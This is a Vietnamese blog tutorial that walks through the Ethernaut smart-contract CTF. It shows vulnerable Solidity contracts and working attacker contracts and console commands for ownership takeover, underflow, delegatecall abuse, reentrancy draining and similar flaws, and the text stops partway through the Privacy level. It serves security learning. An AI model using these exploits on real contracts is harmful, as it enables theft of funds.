LapTrinhBlockchain

Chia sẻ kiến thức về Lập Trình Blockchain

An toàn Bảo mật, Lập trình Blockchain

Hướng dẫn hack hợp đồng thông minh Smart Contract với Ethernaut CTF – Cách học bảo mật Smart Contract hiệu quả nhất

Hướng dẫn hack hợp đồng thông minh Smart Contract với Ethernaut CTF - Cách học bảo mật Smart Contract hiệu quả nhất

Hướng dẫn hack hợp đồng thông minh Smart Contract với Ethernaut CTF - Cách học bảo mật Smart Contract hiệu quả nhất

Chia sẻ bài viết
5
(48)

Khi Blockchain và Smart Contract ngày càng được biết đến rộng rãi thì việc bảo mật Smart Contract ngày càng trở nên quan trọng và cấp thiết. Bài viết này sẽ giúp bạn biết cách Bảo mật Smart Contract thông qua học hack hợp đồng thông minh.

Những năm gần đây, Blockchain và các ứng dụng của nó nổi lên như một xu thế công nghệ của tương lai. Áp dụng Blockchain, ta có thể giải quyết được rất nhiều vấn đề mà các công nghệ hiện tại không làm được, mà trong đó nổi bật nhất là không còn trung gian giao dịch, không cần tin tưởng vào một bên thứ 3 nào nữa. Điều này khiến cho mọi thứ trở nên đơn giản hơn, tiện lợi hơn, minh bạch hơn, sự tin tưởng cao hơn.

Tuy vậy Blockchain không phải chỉ có toàn ưu điểm, nó vẫn còn là một công nghệ còn rất “mới” và sẽ cần nhiều thời gian nữa để hoàn thiện. Một số nhược điểm cơ bản có thể kể đến như tốc độ confirm giao dịch vẫn còn chậm, chi phí còn cao đối với các giao dịch nhỏ. Một điều nữa là user experience – người dùng phổ thông vẫn chưa sẵn sàng với khái niệm Blockchain, sự tin tưởng vào công nghệ này vẫn còn cần rất nhiều sự minh chứng nữa.

Và một điều được coi như “sống còn” của sự hoàn thiện: đó chính là tính bảo mật. Đối với bất kỳ sản phẩm nào, dù lớn hay nhỏ, chỉ cần một lần xảy ra sự cố bảo mật thôi, cũng có thể dẫn đến sự sụp đổ của cả một hệ thống. Blockchain cũng vậy, nó chưa hoàn hảo, và vẫn còn những lỗi bảo mật tiềm ẩn, cả trong kiến trúc Blockchain lẫn trong những đoạn code của các ứng dụng trên nền tảng này.

Trong bài này, chúng ta sẽ đi qua một số lỗi bảo mật của các smart contract trên nền tảng Ethereum thông qua một CTF games của Zeppelin – một hãng rất nổi tiếng hiện nay trong xây dựng các solutions cho smart contract. CTF này có tên là The Ethernaut – nội dung chủ đạo là hacking smart contract. Các bạn có thể tham gia chơi tại đây: https://ethernaut.zeppelin.solutions

Để bắt đầu tham gia bạn cần:

  • B1: Cài đặt Metamask, một extension trên Chrome. Có hướng dẫn rất nhiều.
  • B2: Tạo tài khoản Testnet:
  • B3: Trước đây trang chính hỗ trợ mạng Ropsten nhưng sau đó chuyển sang Rinkerby
  • B4: Bật màn hình Console của Chrome bằng cách nhấn phím F12 hoặc nhấn Ctrl+Shift+I vào “Menu => More tools => Developer tools”.
  • B5: Bạn sẽ thấy giao diện như dưới trên màn hình Console => Bạn nhập các lệnh ở màn hình Console này.
Màn hình Console trên trang Ethernaut - Bảo mật Smart Contract thông qua học hack hợp đồng thông minh
Màn hình Console trên trang Ethernaut
(Bảo mật Smart Contract thông qua học hack hợp đồng thông minh)

CTF sẽ bao gồm tất cả 12 bài, chạy trên Ropsten networks. Tại mỗi bài, chúng ta sẽ được cấp một instance, địa chỉ instance được trả về trên console khi start. Chúng ta sẽ tương tác với contract instance thông qua console (bài dễ) hoặc Remix IDE (bài khó hơn chút & cần phải code)

Bài 00: Hello Ethernaut (Xin chào Ethernaut)

Đây là bài hướng dẫn khởi động, rất là đơn giản thôi, chủ yếu để chúng ta test các hàm họ dựng sẵn rồi. Ở đây bạn làm theo các hướng dẫn của họ. Sau khi kết nối ví bạn nhập các lệnh theo hướng dẫn.

B1: Đầu tiên bạn check ví bạn và tài khoản ví bạn bằng lệnh:

player
await getBalance(player)

B2: Giờ bạn tương tác với ethernaut bằng cách đầu tiên bạn đánh lệnh:

ethernaut

Bạn mở rộng thông tin phần abi bạn sẽ thấy các hàm.

Các hàm trong Ethernaut - Bảo mật Smart Contract thông qua học hack hợp đồng thông minh
Các hàm trong Ethernaut
( Bảo mật Smart Contract thông qua học hack hợp đồng thông minh )

Bạn thử gọi hàm của ethernaut như sau:

await ethernaut.owner()

B3: Tương tác với Smart Contract của bạn

Bạn kích nút “Get new instance” để bắt đầu triển khai 1 Contract mới, nó khởi tạo giao dịch, khi giao dịch được confirm thì contract được tạo. Lúc này bắt đầu bằng cách gọi hàm:

await contract.info()

Sau đó làm theo hướng dẫn. Hệ thống sẽ yêu cầu bạn gọi từng hàm Info một, việc này rất lâu nên bạn gọi hàm infoNum() để xem có bao nhiêu hàm Info rồi gọi hàm cuối cùng và làm tiếp theo hướng dẫn.

Gọi hàm infox() để tìm nhiệm vụ
Gọi hàm infox() để tìm nhiệm vụ
( Bảo mật Smart Contract thông qua học hack hợp đồng thông minh )

Đến đây bạn biết được nhiệm vụ của bạn là cần gọi hàm authenticate với tham số là password.

Nhiệm vụ bài 00
Nhiệm vụ bài 00
( Bảo mật Smart Contract thông qua học hack hợp đồng thông minh)

Đến đây bạn hoàn thành, bạn kích nút “Submit instance” để confirm hoàn thành và sang bài tiếp theo.

Chú ý: Trong mỗi bài chúng ta nhớ có hai thao tác thường sử dụng:

  • Triển khai Smart Contract bằng cách kích nút “Get new instance” => Sau bước này thì biến contract được thiết lập và bạn có thể gọi hàm tới Smart Contract.
  • Sau khi hoàn thành bạn gửi kết quả lên hệ thống bằng cách kích nút “Submit instance“.

Bài 01: Fallback (Dự phòng)

Trong bài này bạn phải đọc kỹ đoạn mã Smart Contract ở dưới. Bạn vượt qua bài này nếu bạn thực hiện:

  • Chiếm quyền Owner
  • Thực hiện rút hết tiền khỏi Contract.

Và qua bài này sẽ giúp bạn:

  • Làm thế nào để gửi ether tương tác với ABI
  • Làm thế nào để gửi ether bên ngoài ABI
  • Biết các chuyển đổi giữa WEI và ETHER
  • Các phương thức Fallback
pragma solidity ^0.4.18;
 import 'zeppelin-solidity/contracts/ownership/Ownable.sol';
 import 'openzeppelin-solidity/contracts/math/SafeMath.sol';
 contract Fallback is Ownable {
 using SafeMath for uint256;
   mapping(address => uint) public contributions;
 function Fallback() public {
     contributions[msg.sender] = 1000 * (1 ether);
   }
 function contribute() public payable {
     require(msg.value < 0.001 ether);     contributions[msg.sender] = contributions[msg.sender].add(msg.value);     if(contributions[msg.sender] > contributions[owner]) {
       owner = msg.sender;
     }
   }
 function getContribution() public view returns (uint) {
     return contributions[msg.sender];
   }
 function withdraw() public onlyOwner {
     owner.transfer(this.balance);
   }
 function() payable public {
     require(msg.value > 0 && contributions[msg.sender] > 0);
     owner = msg.sender;
   }
 }

Phân tích:

  • Nhìn vào Smart Contract bạn thấy rằng hàm withdraw sẽ làm nhiệm vụ rút tiền, nhưng từ khóa onlyOwner lại xác định rằng chỉ có Owner mới có quyền rút tiền. Bạn nhìn tiếp hàm “function() payable public” có thiết lập owner nhưng nó yêu cầu “contributions[msg.sender]>0” tức là bạn phải là contributor đã.
  • Bạn nhìn kỹ thấy hàm “function contribute() public payable” thiết lập contributor. Đến đây chúng ta đã biết cách phải làm như thế nào rồi.

Các bước thực hiện:

  • B1: Đầu tiên chúng ta gọi hàm contribute() với một giá trị nhỏ hơn 0.001 để trở thành contributor:
    await contract.contribute({value:toWei(0.0001)})
    Sau đó chúng ta kiểm tra xem đã trở thành contributor chưa bằng lệnh dưới, kết quả trả về > 0 thì có nghĩa đã là contributor:
    await contract.getContribution().then(x => x.toNumber())
  • B2: Send một lượng ether bất kỳ đủ nhỏ (chỉ cần >0) là được tới Smart Contract để cập nhật owner:
    contract.send(1)
    Kiểm tra xem đã trở thành owner chưa :
    await contract.owner()
  • B3: Khi đã trở thành owner, chúng ta rút toàn bộ tiền khỏi Smart Contract
    contract.withdraw()
  • B4: Đến đây bạn hoàn thành, bạn kích nút “Submit instance” để confirm hoàn thành và sang bài tiếp theo.

Bài 02: Fallout

Mục tiêu trong bài này là bạn phải tìm cách để chiếm quyền owner. Nội dung Smart Contract như sau:

 pragma solidity ^0.4.18;
 import 'zeppelin-solidity/contracts/ownership/Ownable.sol';
 import 'openzeppelin-solidity/contracts/math/SafeMath.sol';
 contract Fallout is Ownable {
 using SafeMath for uint256;
   mapping (address => uint) allocations;
 /* constructor */
   function Fal1out() public payable {
     owner = msg.sender;
     allocations[owner] = msg.value;
   }
 function allocate() public payable {
     allocations[msg.sender] = allocations[msg.sender].add(msg.value);
   }
 function sendAllocation(address allocator) public {
     require(allocations[allocator] > 0);
     allocator.transfer(allocations[allocator]);
   }
 function collectAllocations() public onlyOwner {
     msg.sender.transfer(this.balance);
   }
 function allocatorBalance(address allocator) public view returns (uint) {
     return allocations[allocator];
   }
 }

Đọc Smart Contract ta thấy rằng hàm Fal1out (Không phải Fallout nhé) có nhiệm vụ thiết lập owner => Chỉ cần gọi hàm này là xong, sau đó gọi thêm hàm owner() để kiểm tra lại kết quả:
await contract.Fal1out()
await contract.owner()

Bài 03: Coin Flip (Tung đồng xu)

Đây là một trò chơi tung đồng xu mà bạn cần xây dựng chuỗi chiến thắng của mình bằng cách đoán kết quả của một lần lật đồng xu. Để hoàn thành cấp độ này, bạn sẽ cần sử dụng khả năng tâm linh của mình để đoán kết quả chính xác 10 lần liên tiếp. Nội dung Smart Contract của ta như sau:

pragma solidity ^0.4.18;

contract CoinFlip {
   uint256 public consecutiveWins;
   uint256 lastHash;
   uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
   function CoinFlip() public {
     consecutiveWins = 0;
   }
   
   function flip(bool _guess) public returns (bool) {
     uint256 blockValue = uint256(block.blockhash(block.number-1));

    if (lastHash == blockValue) {
       revert();
    }

    lastHash = blockValue;
    uint256 coinFlip = uint256(uint256(blockValue) / FACTOR);
    bool side = coinFlip == 1 ? true : false;

    if (side == _guess) {
       consecutiveWins++;
       return true;
    } else {
       consecutiveWins = 0;
       return false;
    }
   }
}

Phân tích:

  • Chúng ta biết rằng việc dự đoán đúng sai mỗi lần như cuộc chơi đỏ đen không biết trước được. Do đó việc đoán 10 lần đúng liên tiếp gần như bất khả thi. Trong hàm flip() sau khi tính toán xong sẽ submit kết quả ngay do đó rất khó can thiệp vào trình submit này.
  • Nhưng để ý kỹ chúng ta thấy rằng việc xác định thắng thua dựa vào 1 tham số đầu vào duy nhất đó là giá trị blockhash của block trước đó. Nó gợi chúng ta một ý tưởng là chúng ta có thể viết một Smart Contract khác để tính và cũng sẽ cho kết quả giống như Smart Contract này.
  • Như vậy giải pháp bây giờ là: Chúng ta sẽ viết Smart Contract khác là Attacker tính toán và sau đó gọi hàm tới Smart Contract CoinFlip ở trên.

Các bước thực hiện:

  • B1: Triển khai Smart Contract CoinFlip, sau đó ta lấy địa chỉ contract.
  • B2: Viết Smart Contract Attacker như dưới, thay địa chỉ trong biến target bằng địa chỉ contract triển khai ở trên.
  • B3: Mở trang https://remix.ethereum.org để bật Remix IDE. Tạo file mới tên là Attacker.sol và copy nội dung dưới vào.
  • B4: Thực hiện Compile.
  • B5: Chuyển sang tab “Deploy & run transactions“:
    • Environment chuyển sang Injected Web3 => Sau khi chọn xong bạn sẽ thấy nó tự nhận mạng Ropsten.
    • Account nó tự nhận luôn, nếu không nó sẽ yêu cầu confirm để kết nối tới ví.
    • Chọn đúng Contract là Attacker.
    • Sau đó nhấn nút Deploy để triển khai Smart Contract.
  • B6: Sau khi triển khai xong bạn sẽ thấy Remix IDE hiện ra hàm để bạn gọi. Bạn kích để gọi hàm flip() đủ 10 lần. Bạn nhớ để GAS LIMITGAS Price cao chút để tránh bị Out of Gas.
  • B7: Quay lại Ethernaut để kiểm tra lại số lần win liên tiếp bằng lệnh:
    (await contract.consecutiveWins()).toNumber()

Nội dung Smart Contract mới như sau:

pragma solidity ^0.4.18;

contract CoinFlip {
    uint256 public consecutiveWins;
    uint256 lastHash;
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
    function CoinFlip() public {
      consecutiveWins = 0;
    }
    
    function flip(bool _guess) public returns (bool) {
      uint256 blockValue = uint256(block.blockhash(block.number-1));
     
      if (lastHash == blockValue) {
         revert();
      }

      lastHash = blockValue;     
      uint256 coinFlip = uint256(uint256(blockValue) / FACTOR);
      bool side = coinFlip == 1 ? true : false;
   
      if (side == _guess) {
         consecutiveWins++;
         return true;
      } else {
         consecutiveWins = 0;
         return false;
      }
    }
 }

contract Attacker {
   CoinFlip cf;
   
   // replace target by your instance address
   address target = 0xfd4f00b32bbbfa9098c13b5c1466bc2a071e95b7;
   uint256 lastHash;
   uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
   function Attacker() {
     cf = CoinFlip(target);
   }
 
   function calc() public view returns (bool){
     uint256 blockValue = uint256(block.blockhash(block.number-1));
    
     if (lastHash == blockValue) {
        revert();
     }
    
     lastHash = blockValue;
     uint256 coinFlip = uint256(uint256(blockValue) / FACTOR);
     return coinFlip == 1 ? true : false;
   }

   function flip() public {
     bool guess = calc();
     cf.flip(guess);
   }
 }
Compile smart contract Attacker
Compile smart contract Attacker
( Bảo mật Smart Contract thông qua học hack hợp đồng thông minh)
Triển khai Smart Contract Attacker
Triển khai Smart Contract Attacker
( Bảo mật Smart Contract thông qua học hack hợp đồng thông minh )
Gọi hàm flip() trên Remix IDE
Gọi hàm flip() trên Remix IDE
( Bảo mật Smart Contract thông qua học hack hợp đồng thông minh )

Bài 04: Telephone

Nhiệm vụ bài này là chiếm quyền owner. Smart Contract có nội dung như sau:

pragma solidity ^0.4.18;
 contract Telephone {
 address public owner;
 function Telephone() public {
     owner = msg.sender;
   }
 function changeOwner(address _owner) public {
     if (tx.origin != msg.sender) {
       owner = _owner;
     }
   }
 }

Phân tích: Đầu tiên chúng ta phải hiểu giá trị tx.origin, nó là địa chỉ của người kích hoạt ban đầu:

  • Nếu bạn gọi hàm trực tiếp thì tx.origin chính là địa chỉ ví của bạn và msg.sender cũng là địa chỉ ví của bạn. Trường hợp này: msg.sender=tx.origin
  • Nếu bạn gọi hàm trong Contract B và hàm nay gọi tiếp hàm trong Contract A thì trong Contract A giá trị tx.origin chính là địa chỉ ví của bạn, còn giá trị msg.sender chính là địa chỉ của Contract B
  • Đến đây thì chắc bạn biết cách hack rồi nhỉ.

Các bước thực hiện:

  • B1: Tạo ra Smart Contract Attacker như dưới.
  • B2: Triển khai Smart Contract Telephone ở trên. Lấy địa contract sau khi triển khai cho vào biến target trong Contract Attacker.
  • B3: Thực hiện triển khai Smart Contract Attacker trên Remix IDE và chạy hàm claimOwnership()
  • B4: Quay lại Ethernaut gọi hàm sau để kiểm tra:
    await contract.owner()
pragma solidity ^0.4.18;
 contract Telephone {
 address public owner;
 function Telephone() public {
     owner = msg.sender;
   }
 function changeOwner(address _owner) public {
     if (tx.origin != msg.sender) {
       owner = _owner;
     }
   }
 }
 contract Attacker {
   Telephone phone;
   // replace target by your instance address
   address target = 0xfd4f00b32bbbfa9098c13b5c1466bc2a071e95b7;
 function Attacker() {
       phone = Telephone(target);
   }
 function claimOwnership() public {
       phone.changeOwner(msg.sender);
   }
 }

Bài 05: Token

Bạn được cung cấp trước 20 token, nhiệm vụ của bạn là làm sao có nhiều token nhất có thể. Mã nguồn Smart Contract như sau:

pragma solidity ^0.4.18;
 contract Token {
 mapping(address => uint) balances;
   uint public totalSupply;
 function Token(uint _initialSupply) public {
     balances[msg.sender] = totalSupply = _initialSupply;
   }
 function transfer(address _to, uint _value) public returns (bool) {
     require(balances[msg.sender] - _value >= 0);
     balances[msg.sender] -= _value;
     balances[_to] += _value;
     return true;
   }
 function balanceOf(address _owner) public view returns (uint balance) {
     return balances[_owner];
   }
 }

Phân tích:

  • Trong các ngôn ngữ lập trình static type như C/C++/C#/Java, có lẽ chúng ta hầu như không xa lạ gì với khái niệm overflow – hiện tượng tràn số khi tính toán số lớn hơn giá trị MAX của kiểu dữ liệu đã khao báo. Nhưng có một khái niệm nữa ít được để ý hơn nhưng cũng vô cùng quan trọng, đó là underflow – hiện tượng mà khi số nhỏ dưới giá trị MIN của kiểu dữ liệu đã khai báo thì số đó sẽ được quay vòng trở lại từ MAX, thật tai hại nếu không handle trường hợp này.
  • Trong bài này, kiểu dữ liệu đang dùng là uint256, giới hạn từ 0 cho tới 2^{256}. Ở đây ta có đoạn kiểm tra:
    require(balances[msg.sender] – _value >= 0);
    Những tưởng rằng điều kiện này chỉ đạt được khi balance của msg.sender lớn hơn giá trị value; nhưng không, điều kiện này sẽ trở thành auto true. Thật vậy, nếu như balance >= value thì hiển nhiên sẽ là true, còn nếu như balance < value thì khi balance - value sẽ xảy ra hiện tượng underflow và trở nên vô cùng lớn, theo đó điệu kiện cũng sẽ là true. Tóm lại, ta sẽ luôn luôn pass.

Các bước thực hiện:

  • B1: Triển khai Smart Contract.
  • B2: Gọi hàm sau để kiểm tra số token trong ví hiện tại:
    (await contract.balanceOf(player)).toNumber()
  • B3: Gọi hàm transfer với số lượng token > 20 sang một ví khác:
    await contract.transfer(“0x958208de30A86289F6475e689862b2F2Ecee9C2ea“, 21)
    Chú ý: Đã thử gửi cho chính ví hiện tại thì giá trị token không thay đổi. Có lẽ do cơ chế tính toán gì đó của EVM.
  • B4: Kiểm tra lại token bạn sẽ thấy 1 điều kỳ diệu

Giải pháp xử lý:

  • Giải pháp xử lý cho trường hợp này là bạn phải sử dụng thư viện SafeMath của OpenZeppelin.

Bài 06: Delegation

Nhiệm vụ của bài này cũng là chiếm quyền Owner. Mã nguồn smart contract như sau:

pragma solidity ^0.4.18;
 contract Delegate {

   address public owner;

   function Delegate(address _owner) public {
     owner = _owner;
   }

   function pwn() public {
     owner = msg.sender;
   }
 }

 contract Delegation {

   address public owner;
   Delegate delegate;

   function Delegation(address _delegateAddress) public {
     delegate = Delegate(_delegateAddress);
     owner = msg.sender;
   }

   function() public {
     if(delegate.delegatecall(msg.data)) {
       this;
     }
   }
 }

Phân tích:

  • Để từ trong contract này gọi hàm của contract khác, ngoài cách dùng instance của contract khác để gọi, solidity cung cấp cho ta một số hàm low-level khác để thay thế: đó là call và delegatecall. Ngay từ chú thích low-level ta đã biết rằng đây là những hàm nguy hiểm rồi, nên việc hiểu rõ cách sử dụng chúng là một điều tất yếu.
  • Việc giải thích cụ thể về call và delegatecall khá dài và nằm ngoài phạm vi bài viết. Bạn có thể đọc thêm tại đây. Cơ bản thì delegatecall chỉ mượn tên hàm của contract khác, mọi thông tin về storage vẫn là storage của contract đang sử dụng.
  • Contract Delegate có hàm pwn() để trao quyền owner, vậy mục tiêu của chúng ta là làm sao để kích hoạt được hàm này.
  • Contract Delegation có fallback function sử dụng delegatecall, nó gợi ý cho chúng ta trigger fallback với msg.data chính là hàm pwn()
  • Dù fallback function trong contract Delegation không có payable, nghĩa là không thể nhận ether, ta vẫn có thể kích hoạt được nó bằng cách send cho nó 0 ether, thật là vi diệu!
  • Về fallback function, các bạn có thể tham khảo thêm tại documentation của Solidity
  • Một lưu ý về msg.data: để truyền vào hàm pwn(), ta không phải truyền plain text, mà solidity sẽ gọi bằng bytes4 hash của nó, tức 4 byte đầu của chuỗi hash("pwn()") cụ thể ta sẽ phải truyền vào tham số như sau: web3.sha3("pwn()").slice(0, 10)

Các bước thực hiện:

  • B1: Triển khai contract, sau đó gọi hàm sau để kiểm tra owner:
    await contract.owner()
  • B2: Send 0 ether kiemf theo data để trigger fallback:
    await contract.sendTransaction({data:web3.sha3(“pwn()”).slice(0,10)});
  • B3: Kiểm tra lại owner bạn sẽ thấy điều kỳ diệu

Giải pháp xử lý:

Bài 07: Force

Nhiệm vụ: Bằng cách nào đó chuyển cho một contract rỗng một ít ether.

pragma solidity ^0.5.0;
 contract Force {/*
                MEOW ?      /\_/\   / ____/ o o \
 /~_  =ø= /  (_)__m_m)
 */
}

Phân tích:

  • Contract không tí code nào, một contract rỗng.
  • Đây là một bài thuộc dạng bài biết thì rất dễ, không biết thì không biết đằng nào mà lần. Điều ta cần biết duy nhất chính là hàm selfdestruct.
  • Với một contract, khi gọi hàm selfdestruct(someone_addr) thì contract sẽ hủy và toàn bộ tiền của contract sẽ gửi về someone_addr, đây có thể là địa chỉ bất kì của người dùng hoặc của contract nào đó.

Các bước thực hiện:

  • Trên Remix IDE, chuẩn bị một contract có thể gửi tiền vào, và một hàm thực hiện selfdestruct trong đó, nhớ thay địa chỉ trong selfdestruct bằng địa chỉ instance của bạn. Xem mã nguồn ở dưới.
  • Compile & send cho AnotherContract vài ether.
  • Gọi hàm sendAll() để hủy contract & gửi tiền vào contract đề bài yêu cầu.
  • Submit & all done!
contract AnotherContract {
    
    function sendAll() public {
        // replace by your instance address
        selfdestruct(0x7f1848E27E87C2296946BC46C1E6ff7832a0f133);
    }
    
    function() public payable {
    }
}

Bài 08: Vault

Nhiệm vụ: Tìm password để mở khóa Vault

Phân tích:

  • Ta biết rằng blockchain là minh bạch, và mọi thông tin trên đó ta đều có thể nhìn thấy được, kể cả những biến khai báo là private. Và trong bài này, điều đó không là ngoại lệ.
  • web3js cung cấp cho ta một hàm web3.eth.getStorageAt để lấy thông tin trên blockchain. Ta sẽ dùng nó để tìm password.
    • Contract Vault có 2 tham số: looked và password, nó sẽ lưu looked tại vị trí 0 và password tại vị trí 1 trong storage.
    • password có kiểu dữ liệu là bytes32, nên để hiển thị ra ký tự ASCII ta phải dùng hàm web3.utils.toUtf8 hoặc web3.utils.toAscii

Các bước thực hiện:

  • Trong chrome console, ta chạy lệnh sau:
    await web3.eth.getStorageAt(“0xDFDBF13A298689Ca47d5a27E27D9b66402fDe9cf”, 1, function(err, result) {
    console.log(result);
    })
  • Bạn dùng hàm toUtf8 để biết mật khẩu là: A very strong secret password :)
    web3.utils.toUtf8(“0x412076657279207374726f6e67207365637265742070617373776f7264203a29”)
  • Tiến hành unlock bằng lệnh sau:
    await contract.unlock(“0x412076657279207374726f6e67207365637265742070617373776f7264203a29”);
  • Giờ chúng ta kiểm tra lại bằng lệnh dưới, nếu trả về false là OK:
    await contract.locked.call();

Chú ý:

  • private trong blockchain hay solidity nói riêng chỉ là một phương thức để ngăn quyền truy xuất trong contract mà thôi, chứ không có nghĩa là nó bí mật đối với người dùng.
  • Nếu muốn thông tin private, hãy mã hóa nó trước khi đưa lên blockchain.
  • Không nên lưu trữ các thông tin nhạy cảm trên blockchain, dù nó có được mã hóa hay không.

Bài 09: King

Nhiệm vụ: Đây là một trò chơi, trong đó người nào muốn trở thành king (nhà vua) thì sẽ phải trả giá cho người đang nắm giữ vị trí ấy một khoản tiền cao hơn giá trị của nhà vua hiện tại. Nhiệm vụ của bạn là bằng cách nào đó, trở thành king và giữ vị trí này mãi mãi, dù người khác có trả mức giá nào đi nữa

pragma solidity ^0.4.18;

import 'zeppelin-solidity/contracts/ownership/Ownable.sol';

contract King is Ownable {

  address public king;
  uint public prize;

  function King() public payable {
    king = msg.sender;
    prize = msg.value;
  }

  function() external payable {
    require(msg.value >= prize || msg.sender == owner);
    king.transfer(msg.value);
    king = msg.sender;
    prize = msg.value;
  }
}

Phân tích

  • Để trở thành vua, ta phải gửi tiền cho nhà vua hiện tại. Theo đó, nếu như ta đang làm vua, và bằng cách nào đó, ta từ chối mọi giao dịch chuyển tiền đến ta, thì ta sẽ giữ vị trí đó mãi mãi. Vấn đề ở đây là ta làm sao có thể “từ chối mọi giao dịch” ? Đó là lúc ta cần biết đến payable trong solidity.
  • Để một contract có thể nhận được tiền, trừ trường hợp được nhận tiền từ selfdestruct của một contract khác, thì cách duy nhất đó chính là có fallback function với payable modifier. Nếu không có payable, contract không thể nhận dù chỉ một đồng.
  • Cùng nhìn lại hàm fallback function của King contract. Ta nảy ra ý tưởng làm cho hàm king.transfer(msg.value) không thành công và transaction bị revert.
  • Chuẩn bị một contract không có payable fallback, chiếm quyền và thế là xong.

Giải pháp:

  • Trên Chrome Console, kiểm tra king hiện tại:
    await contract._king()
    Kiểm tra price hiện tại:
    (await contract.prize()).toString()
    1000000000000000000 => Tức là 1 ETH
  • Trên Remix IDE, chuẩn bị một contract tấn công không có payable fallback:
    pragma solidity ^0.6.0;
    contract Attack {
    function steal(address _target) public payable {
    if(!_target.call.value(msg.value)()) revert();
    }
    }

    Mình sẽ giải thích thêm một chút về đoạn if(!_target.call.value(msg.value)()) revert();, có vẻ trông đoạn này hơi lạ nhưng có lý do của nó:
    • Để gửi eth đến một địa chỉ, chúng ta có 3 cách: transfer, send, call.value. Trong đó thì transfer và send được fixed số gas limit là 2100, quá là thấp, có nghĩa transfer và send chỉ thuần tuý là để chuyển eth mà không thể thực hiện thêm bất cứ logic nào trong fallback function cả.
    • call.value là một hàm lowlevel, không giới hạn số gas limit, tuy nhiên sẽ trả về kết quả true/false thay vì throw ra một exception, vì thế ta cần đưa vào đoạn if-revert để biết được nó có lỗi hay không.
    • Compile và chạy hàm steal, _target là king instance của bạn, msg.value ta cho một giá trị lớn hơn prize hiện tại, ví dụ 1.1 ether (1100 finneys).
  • Kiểm tra lại king hiện tại và thấy đang là bạn:
    await contract.king()
  • Sử dụng một tài khoản khác, gửi tiền vào King contract với một giá trị lớn hơn prize hiện tại để xem có chiếm được quyền King hay không. Nếu không chiếm được, bạn đã thành công.

Nhận xét:

  • Bài này khá là khó.
  • Một lần nữa cho thấy tầm quan trọng cũng như sự nguy hiểm trong cách sử dụng fallback function. Tiền nong mà!
  • Việc tấn công một contract tốt nhất luôn luôn là dùng một contract khác.

Re-entrancy

Nhiệm vụ: Rút hết tiền khỏi smart contract

pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Reentrance {
  
  using SafeMath for uint256;
  mapping(address => uint) public balances;

  function donate(address _to) public payable {
    balances[_to] = balances[_to].add(msg.value);
  }

  function balanceOf(address _who) public view returns (uint balance) {
    return balances[_who];
  }

  function withdraw(uint _amount) public {
    if(balances[msg.sender] >= _amount) {
      (bool result, bytes memory data) = msg.sender.call.value(_amount)("");
      if(result) {
        _amount;
      }
      balances[msg.sender] -= _amount;
    }
  }

  fallback() external payable {}
}

Phân tích:

  • Việc sử dụng các hàm low-level luôn tiềm ẩn nguy cơ xảy ra lỗi. Trong trường hợp này cũng không ngoại lệ, đó là hàm call.
  • Để chuyển tiền, ta có 3 hàm: transfer, send call. Giờ đây người ta khuyên chỉ nên dùng transfer và tránh hai hàm còn lại. Một cách hiểu đơn giản: transfer sẽ revert lại giao dịch một khi xảy ra lỗi. send chỉ trả vể false khi xảy ra lỗi chứ không revert, call cũng vậy; nhưng trong khi send chỉ được tiêu dè sẻn có 2300 gas thì call được phép dùng bao giờ hết gas thì thôi. Đây chính là điểm để ta khai thác.
  • Khi rút tiền về địa chỉ của một contract thì fallback function của contract đó sẽ được kích hoạt. Sẽ ra sao nếu trong fallback function ta gọi rút tiền một lần nữa, chẳng phải sẽ là đệ quy rút cho tới lúc hết sạch tiền hay sao ?

Giải pháp:

  • Chuẩn bị contract tấn công, hãy thay địa chỉ _target bằng địa chỉ instance của bạn.
  • Trên RemixIDE, load Reentrancy contract và complile cũng như run Attack contract
  • Tiến hành chạy hàm donate() để donate cho Attack contract 1 ether
  • Chạy hàm attack() của Attack contract
  • Trên Chrome console, kiểm tra lại balance của Reentrancy instance xem đã về 0 chưa:
    await getBalance(contract.address);
pragma solidity ^0.4.18;

contract Reentrance {
    function withdraw(uint _amount) public;
}

contract Attack {
    address target;
    Reentrance re;

    function Attack(address _target) {
        target = _target;
        re = Reentrance(target);
    }

    function attack() public payable {
        re.withdraw(0.5 ether);
    }

    function() payable {
        re.withdraw(0.5 ether);
    }
}

Bình luận:

Elevator

Nhiệm vụ: Chiếc thang máy này ngăn cản bạn lên tầng trên cùng. Bằng cách nào đó hãy break the rule và leo lên đỉnh.

pragma solidity ^0.6.0;

interface Building {
  function isLastFloor(uint) external returns (bool);
}


contract Elevator {
  bool public top;
  uint public floor;

  function goTo(uint _floor) public {
    Building building = Building(msg.sender);

    if (! building.isLastFloor(_floor)) {
      floor = _floor;
      top = building.isLastFloor(floor);
    }
  }
}

Phân tích:

  • Trong solidity có đoạn:
    View Functions
    Functions can be declared view in which case they promise not to modify the state.
  • Vậy ra view thực chất chỉ là một lời hứa “hão” rằng ta chỉ nhìn mà không nắn bóp dữ liệu. Trên thực tế, trong hàm view việc ta nắn bóp hay sửa đổi data cũng không có làm sao cả.

Solution:

  • Trên RemixIDE, chuẩn bị contract để tấn công, implement Elevator interface, nhớ thay địa chỉ _target bằng địa chỉ instance của bạn.
    Theo trên, cứ tầng chẵn thì hàm sẽ trả về đó là top floor.
  • Chạy hàm attack()
  • Trên Chrome Console, kiểm tra lại điều kiện top:
    await contract.top()
pragma solidity ^0.4.18;

contract Elevator {
  function goTo(uint _floor) public;
}

contract ElevatorAttack {
  bool public isLast = true;

  function isLastFloor(uint) public returns (bool) {
    isLast = ! isLast;
    return isLast;
  }

  function attack(address _target) public {
    Elevator elevator = Elevator(_target);
    elevator.goTo(10);
  }
}

Privacy

Nhiệm vụ: unlock contract là xong.

pragma solidity ^0.6.0;

contract Privacy {

  bool public locked = true;
  uint256 public ID = block.timestamp;
  uint8 private flattening = 10;
  uint8 private denomination = 255;
  uint16 private awkwardness = uint16(now);
  bytes32[3] private data;

  constructor(bytes32[3] memory _data) public {
    data = _data;
  }
  
  function unlock(bytes16 _key) public {
    require(_key == bytes16(data[2]));
    locked = false;
  }

  /*
    A bunch of super advanced solidity algorithms...

      ,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
      .,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
      *.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^         ,---/V\
